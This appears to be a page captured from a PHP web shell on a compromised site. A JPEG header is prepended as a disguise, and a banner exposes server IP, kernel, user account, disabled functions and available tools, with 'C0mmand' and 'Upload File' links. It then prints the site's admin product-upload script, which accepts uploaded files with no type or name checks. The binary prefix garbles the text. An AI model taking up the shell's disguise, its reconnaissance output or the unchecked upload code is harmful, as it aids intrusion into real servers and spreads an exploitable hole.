����JFIF��x�x������Exif��MM�*���� ����E���J����������������(������������������
Server IP : 103.191.208.227 / Your IP : 3.149.230.208 Web Server : LiteSpeed System : Linux emphasis.herosite.pro 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64 User : mhmsfzcs ( 1485) PHP Version : 8.1.31 Disable Function : show_source, system, shell_exec, passthru, exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/mhmsfzcs/vflyorions.com/admin/assets/../ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<!DOCTYPE html> <html lang="en"> <head> </head> <script src="tinymce/tinymce.min.js"></script> <script src="script.js"></script> </html> <?php include 'db.php'; include 'header.php'; include 'sidebar.php'; $id=""; $heading=""; $image=""; $description=""; if (isset($_POST['add'])) { $heading=$_POST['heading']; $desc=$_POST['desc']; $image=$_FILES['image']['name']; $voice_id=$_POST['voice_id']; $upload='uploads/'.$image; $insert2 = $conn->prepare("INSERT INTO `voice_process`(`voice_id`,`heading`,`desc`,`image`) VALUES (?,?,?,?)"); $insert2->bind_param("ssss",$voice_id,$heading,$desc,$image); $res=$insert2->execute(); $destinationfile='assets/product_image/'.$image; move_uploaded_file($_FILES['image']['tmp_name'], $destinationfile); // $destinationfile1='assets/product_image/'.$rating; // move_uploaded_file($_FILES['rating']['tmp_name'], $destinationfile1); if($res) { $_SESSION['status']="Added Successfully"; $_SESSION['status_code']="success"; } else { $_SESSION['status']="Oops something went wrong!!"; $_SESSION['status_code']="error"; } } ?> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <div class="content-header"> <div class="container-fluid"> <div class="row mb-2"> <div class="col-sm-6"> <h1 class="m-0">Add Product</h1> </div><!-- /.col --> <div class="col-sm-6"> <ol class="breadcrumb float-sm-right"> <li class="breadcrumb-item"><a href="#">Home</a></li> <li class="breadcrumb-item active">Dashboard</li> </ol> </div><!-- /.col --> </div><!-- /.row --> </div><!-- /.container-fluid --> </div> <!-- /.content-header --> <!-- Main content --> <section class="content"> <div class="container-fluid"> <div class="row"> <div class="col-sm-1"> </div> <div class="col-sm-9"> <div class="card card-primary"> <div class="card-header"> <h3 class="card-title">Career Page</h3> </div> <!-- /.card-header --> <!-- form start --> <form method="POST" enctype="multipart/form-data"> <div class="card-body"> <div class="row"> <div class="col-sm-12"> <div class="form-group"> <label>Select Voice Process </span></label> <select name="voice_id" class="form-control" required> <option value="">Select</option> <option value="1">Tele-Sales Services</option> <option value="2">Survey Campaign Services</option> <option value="3">Tele-Calling Service</option> <option value="4">Appointment Setting Services</option> <option value="5">Tele-Marketing Services</option> <option value="6">International Sales Process</option> <option value="7">Domestic services</option> <option value="8">Lead Generation Services</option> </select> </div> <div class="form-group"> <label>Voice Heading</label> <input type="text" required="" data-pristine-required-message="Please Enter Job Heading" name="heading" class="form-control" placeholder="Enter heading" /> </div> <div class="form-group"> <label>Add Image</label> <div class="custom-file"> <input type="file" name="image" class="custom-file-input" id="exampleInputFile"> <label class="custom-file-label" for="exampleInputFile">Choose file</label> </div> </div> <div class="form-group"> <label>Description </label> <!--<textarea required="" data-pristine-required-message="Please Enter a Role & Responsibility" name="role" class="form-control" placeholder="Enter Role & responsibility" ></textarea> --> <textarea name="desc" id="default" ></textarea> </div> </div> </div> </div> <!-- /.card-body --> <div class="card-footer"> <button type="submit" name="add" class="btn btn-primary">Submit</button> </div> </form> <script src="tinymce/tinymce.min.js"></script> <script src="script.js"></script> </div> <!-- /.card --> </div> <div class="col-sm-3"> </div> </div> </div><!--/. container-fluid --> </section> <!-- /.content --> </div> <!-- /.content-wrapper --> <!-- Control Sidebar --> <aside class="control-sidebar control-sidebar-dark"> <!-- Control sidebar content goes here --> </aside> <!-- /.control-sidebar --> <script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script> <?php if(isset($_SESSION['status']) && $_SESSION['status']!='') { ?> <script> new swal({ title: "<?php echo $_SESSION['status'];?>", //text: "You clicked the button!", icon: "<?php echo $_SESSION['status_code'];?>", button: "OK", }).then(function() { window.location = ""; }); </script> <?php unset($_SESSION['status']); } ?> <?php include 'footer.php'; ?>